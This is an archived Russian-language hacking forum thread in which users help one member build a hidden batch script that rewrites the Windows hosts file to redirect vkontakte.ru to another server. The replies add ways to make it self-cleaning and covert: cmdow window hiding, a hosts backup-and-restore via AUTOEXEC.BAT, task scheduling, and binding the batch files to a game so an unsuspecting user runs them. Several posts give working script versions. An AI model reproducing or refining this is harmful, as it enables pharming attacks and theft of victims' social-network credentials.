Просмотр полной версии : Вопрос по bat файлу, который изменяет hosts
microlab12
24.08.2009, 16:08
Здравствуйте, есть батник
cmdow @ /HID @echo off
echo -- >> %windir%\system32\drivers\etc\hosts
echo **.**.** www.vkontakte.ru >> %windir%\system32\drivers\etc\hosts
echo **.**.** vkontakte.ru >> %windir%\system32\drivers\etc\hosts
Что нужно дописать или как сделать, чтоб через определенное время (например после перезагрузки) файл hosts снова становился прежним?
Видимо добавить в автозагрузку батник очищающий hosts файл
Здравствуйте, есть батник
Что нужно дописать или как сделать, чтоб через определенное время (например после перезагрузки) файл hosts снова становился прежним?
Напиши еще 1 батник и впиздяч в автозагрузку
root_sashok
24.08.2009, 16:30
Прописать в AUTOEXEC.BAT очистку hosts:
echo #clean > %SystemRoot%\system32\drivers\etc\hosts :)
microlab12
24.08.2009, 16:34
Всем спасибо. Насколько я понял обязательно исп. еще один батник :( А как нить его запустить вместе с предыдущим? Или может можно в предыдущий дописать строчку, которая б очищала hosts через 20 минут например?
Если нет, то как заставить юзера открыть два батника (екзешника), это ведь уже проблематичней?
root_sashok
24.08.2009, 16:40
Всем спасибо. Насколько я понял обязательно исп. еще один батник :( А как нить его запустить вместе с предыдущим? Или может можно в предыдущий дописать строчку, которая б очищала hosts через 20 минут например?
Если нет, то как заставить юзера открыть два батника (екзешника), это ведь уже проблематичней?
AUTOEXEC.BAT запускается вместе с системой.
Всем спасибо. Насколько я понял обязательно исп. еще один батник :( А как нить его запустить вместе с предыдущим? Или может можно в предыдущий дописать строчку, которая б очищала hosts через 20 минут например?
Если нет, то как заставить юзера открыть два батника (екзешника), это ведь уже проблематичней?
Не нужно ничего открывать. Как только откроет первый - из него извлекай второй и пиши в автозагрузку.
microlab12
24.08.2009, 16:44
=Zeus=, а не подскажешь правильный код, ато у меня несовсем работает :(
=Zeus=, а не подскажешь правильный код, ато у меня несовсем работает :(
ОМГ, какой код? Выше тебе уже все написали.
echo blablabla >> %windir%\AUTOEXEC.BAT
Таким макаром пиши куда угодно и что угодно. Бла-бла это текст, который ты запишешь в файл. В твоем случее это путь к батнику.
microlab12
24.08.2009, 17:02
=Zeus=, может я сейчас конкретно туплю, но как я буду знать путь ко второму батнику у юзера?
echo #clean > %SystemRoot%\system32\drivers\etc\hosts >> %windir%\AUTOEXEC.BAT - вот так, насколько я понял, работать не будет?
А почему бы не склеить два батника с какой-то игрой или еще с чем-нибуть?
microlab12
24.08.2009, 17:22
Огризок, не подскажешь как?
Возможно кто-нибудь поможет и даст подсказки по ICQ 598-774-29 пять, если нужно - заплачу. Спасибо.
microlab12
24.08.2009, 22:56
Подскажите пожалуйста хоть кто-то, уже совсем отчаялся, никак не выходит вписать в первый батник второй, в котором идет очищение файла hosts после перезагрузки системы.
Почитай про планировщик задач в винде, можно будет добавить выполнение батника через 20 минут
скачай вот эту прогу http://s0m.narod.ru/s0m27p_inst.zip
делов наворотить там можно каких угодно! И в любой момент времени запустишь че хочешь!!!!!!
Pernat1y
25.08.2009, 10:51
превад зиродэй
cmdow @ /HID @echo off
copy %windir%\system32\drivers\etc\hosts %windir%\system32\drivers\etc\hosts.backup /y
echo copy %windir%\system32\drivers\etc\hosts.backup %windir%\system32\drivers\etc\hosts /y >> %systemdrive%\autoexec.bat
echo **.**.** www.vkontakte.ru > %windir%\system32\drivers\etc\hosts
echo **.**.** vkontakte.ru >> %windir%\system32\drivers\etc\hosts
microlab12
25.08.2009, 16:30
превад зиродэй
cmdow @ /HID @echo off
copy %windir%\system32\drivers\etc\hosts %windir%\system32\drivers\etc\hosts.backup /y
echo copy %windir%\system32\drivers\etc\hosts.backup %windir%\system32\drivers\etc\hosts /y >> %systemdrive%\autoexec.bat
echo **.**.** www.vkontakte.ru > %windir%\system32\drivers\etc\hosts
echo **.**.** vkontakte.ru >> %windir%\system32\drivers\etc\hosts
Создал батник, запустил, в hosts оно дописало, а вот после перезагрузки ничего не меняет. hosts остается прежним :(
SpangeBoB
25.08.2009, 17:02
XP читает только переменные окружения из autoexec.bat,остальные команды он просто игнорирует.
microlab12
25.08.2009, 21:45
SpangeBoB, что ж делать?
SpangeBoB
25.08.2009, 22:31
SpangeBoB, что ж делать?
Внимательно прочитать пост Zedi.
как расклеить файлы склеиных командой copy /b *.exe 3.exe
Gray_Wolf
10.09.2009, 14:53
Как вариант, можно использовать и 1 батник, но тогда прийдётся юзать хвост...
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot